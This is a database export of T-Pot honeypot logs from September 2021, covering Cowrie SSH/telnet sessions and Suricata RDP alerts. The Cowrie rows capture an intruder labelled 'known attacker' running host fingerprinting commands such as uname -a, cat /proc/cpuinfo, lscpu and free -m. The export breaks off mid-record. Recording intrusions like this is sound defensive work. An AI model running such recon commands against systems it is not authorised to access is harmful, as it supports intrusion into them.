19862	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:56.000809+03	2021-09-20 14:15:01.645613+03	{"_id": "yAXdAnwBvYTbRNuE4PVy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T10:59:54.860101+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 115081126485957, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 57911, "timestamp": "2021-09-20T11:00:56.000809Z", "@timestamp": "2021-09-20T11:00:56.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
19863	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:07.456206+03	2021-09-20 14:15:01.646612+03	{"_id": "yQXdAnwBvYTbRNuE4fVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "119.29.153.168", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5638120174407959, "duplicate": true, "timestamp": "2021-09-20T11:01:07.456206Z", "@timestamp": "2021-09-20T11:01:07.456Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19864	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:07.842575+03	2021-09-20 14:15:01.647612+03	{"_id": "ywXdAnwBvYTbRNuE4fVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:07.842575Z", "@timestamp": "2021-09-20T11:01:07.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19865	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:08.409888+03	2021-09-20 14:15:01.649613+03	{"_id": "zQXdAnwBvYTbRNuE5fUy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "119.29.153.168", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5679490566253662, "duplicate": true, "timestamp": "2021-09-20T11:01:08.409888Z", "@timestamp": "2021-09-20T11:01:08.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19866	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:01:09.684458+03	2021-09-20 14:15:01.650613+03	{"_id": "0gXdAnwBvYTbRNuE6fVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 109.104.151.106:44378 (192.168.176.2:23) [session: b4fdd90a76ab]", "session": "b4fdd90a76ab", "@version": "1", "protocol": "telnet", "src_port": 44378, "dest_port": 23, "timestamp": "2021-09-20T11:01:09.684458Z", "@timestamp": "2021-09-20T11:01:09.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	known attacker	\N
19867	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:00.641834+03	2021-09-20 14:15:01.651612+03	{"_id": "mgXdAnwBvYTbRNuExfXt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "119.29.153.168", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.566692590713501, "duplicate": true, "timestamp": "2021-09-20T11:01:00.641834Z", "@timestamp": "2021-09-20T11:01:00.641Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19868	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:00.07577+03	2021-09-20 14:15:01.652612+03	{"_id": "mQXdAnwBvYTbRNuExfXt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:00.075770Z", "@timestamp": "2021-09-20T11:01:00.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19885	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:03.97644+03	2021-09-20 14:15:01.675612+03	{"_id": "sAXdAnwBvYTbRNuE1fWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:03.976440Z", "@timestamp": "2021-09-20T11:01:03.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19869	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:01.625905+03	2021-09-20 14:15:01.654612+03	{"_id": "mwXdAnwBvYTbRNuEyfXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "119.29.153.168", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5649287700653076, "duplicate": true, "timestamp": "2021-09-20T11:01:01.625905Z", "@timestamp": "2021-09-20T11:01:01.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19870	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:01.06162+03	2021-09-20 14:15:01.655614+03	{"_id": "nQXdAnwBvYTbRNuEyfXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:01.061620Z", "@timestamp": "2021-09-20T11:01:01.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19871	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:02.583485+03	2021-09-20 14:15:01.656612+03	{"_id": "oAXdAnwBvYTbRNuEzfW-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "119.29.153.168", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5649070739746094, "duplicate": true, "timestamp": "2021-09-20T11:01:02.583485Z", "@timestamp": "2021-09-20T11:01:02.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19872	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:02.019216+03	2021-09-20 14:15:01.658612+03	{"_id": "oQXdAnwBvYTbRNuEzfW-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:02.019216Z", "@timestamp": "2021-09-20T11:01:02.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19873	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:02.984346+03	2021-09-20 14:15:01.659613+03	{"_id": "owXdAnwBvYTbRNuE0fWn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:02.984346Z", "@timestamp": "2021-09-20T11:01:02.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19886	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:03.976934+03	2021-09-20 14:15:01.677614+03	{"_id": "sQXdAnwBvYTbRNuE1fWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:03.976934Z", "@timestamp": "2021-09-20T11:01:03.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19874	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:04.299724+03	2021-09-20 14:15:01.661612+03	{"_id": "qQXdAnwBvYTbRNuE1PW5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:03.842474+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1988711221811946, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 54952, "timestamp": "2021-09-20T11:01:04.299724Z", "@timestamp": "2021-09-20T11:01:04.299Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
19875	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:00.075225+03	2021-09-20 14:15:01.662612+03	{"_id": "mAXdAnwBvYTbRNuExfXt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:00.075225Z", "@timestamp": "2021-09-20T11:01:00.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19876	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:01.061059+03	2021-09-20 14:15:01.664612+03	{"_id": "nAXdAnwBvYTbRNuEyfXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:01.061059Z", "@timestamp": "2021-09-20T11:01:01.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19877	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:02.018662+03	2021-09-20 14:15:01.665613+03	{"_id": "nwXdAnwBvYTbRNuEzfW-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:02.018662Z", "@timestamp": "2021-09-20T11:01:02.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19878	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:03.55157+03	2021-09-20 14:15:01.666613+03	{"_id": "ogXdAnwBvYTbRNuE0fWn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "119.29.153.168", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5673081874847412, "duplicate": true, "timestamp": "2021-09-20T11:01:03.551570Z", "@timestamp": "2021-09-20T11:01:03.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19879	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:02.984897+03	2021-09-20 14:15:01.667613+03	{"_id": "pAXdAnwBvYTbRNuE0fWn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:02.984897Z", "@timestamp": "2021-09-20T11:01:02.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19880	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:01:04.627763+03	2021-09-20 14:15:01.669613+03	{"_id": "qgXdAnwBvYTbRNuE1PW5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:03.842474+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1988711221811946, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54952, "dest_port": 3389, "timestamp": "2021-09-20T11:01:04.627763Z", "@timestamp": "2021-09-20T11:01:04.627Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
19881	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:01:04.185171+03	2021-09-20 14:15:01.670612+03	{"_id": "rAXdAnwBvYTbRNuE1PW7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:03.842474+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1988711221811946, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": 